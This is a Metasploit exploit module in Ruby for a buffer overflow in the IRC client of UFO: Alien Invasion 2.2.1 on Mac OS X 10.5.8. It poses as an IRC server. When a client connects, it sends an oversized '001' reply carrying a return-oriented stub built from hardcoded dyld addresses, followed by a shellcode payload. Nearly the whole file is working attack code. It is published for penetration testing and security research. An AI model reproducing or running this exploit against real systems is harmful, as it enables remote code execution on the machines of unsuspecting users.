##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the IRC client component
				of UFO: Alien Invasion 2.2.1.
			},
			'Author'   =>
				[
					'Jason Geffner',  # Original Windows PoC Author
					'dookie'          # OSX Exploit Author
				],
			'License'  => MSF_LICENSE,
			'References' =>
				[
					[ 'OSVDB', '65689' ],
					[ 'EDB', '14013' ]
				],
			'Payload' =>
				{
					'Space' => 400,
					'BadChars' => "\x00\x0a\x0d",
					'MaxNops' => 0,
					'StackAdjustment' => -3500,
				},
			'Platform' => 'osx',
			'Targets' =>
				[
					[ 'Mac OS X 10.5.8 x86, UFOAI 2.2.1',
						{
							'Arch' => ARCH_X86,
							'Offset' => 524,
							'Writable' => 0x8fe66448,  # dyld __IMPORT
							# The rest of these addresses are in dyld __TEXT
							'setjmp' => 0x8fe1cf38,
							'strdup' => 0x8fe210dc,
							'jmp_eax' => 0x8fe01041
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 28 2009'))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
			], self.class)
	end


	def make_exec_payload_from_heap_stub()
		frag0 =
			"\x90" + # nop
			"\x58" + # pop eax
			"\x61" + # popa
			"\xc3"   # ret

		frag1 =
			"\x90" +             # nop
			"\x58" +             # pop eax
			"\x89\xe0" +         # mov eax, esp
			"\x83\xc0\x0c" +     # add eax, byte +0xc
			"\x89\x44\x24\x08" + # mov [esp+0x8], eax
			"\xc3"               # ret

		setjmp = target['setjmp']
		writable = target['Writable']
		strdup = target['strdup']
		jmp_eax = target['jmp_eax']

		exec_payload_from_heap_stub =
			frag0 +
			[setjmp].pack('V') +
			[writable + 32, writable].pack("V2") +
			frag1 +
			"X" * 20 +
			[setjmp].pack('V') +
			[writable + 24, writable, strdup, jmp_eax].pack("V4") +
			"X" * 4
	end


	def on_client_connect(client)

		print_status("Got client connection...")

		offset = target['Offset']

		buffer = "001 :"
		buffer << rand_text_alpha_upper(offset)
		buffer << make_exec_payload_from_heap_stub()
		buffer << make_nops(16)
		buffer << payload.encoded
		buffer << "\x0d\x0a"

		print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
		client.put(buffer)

	end

end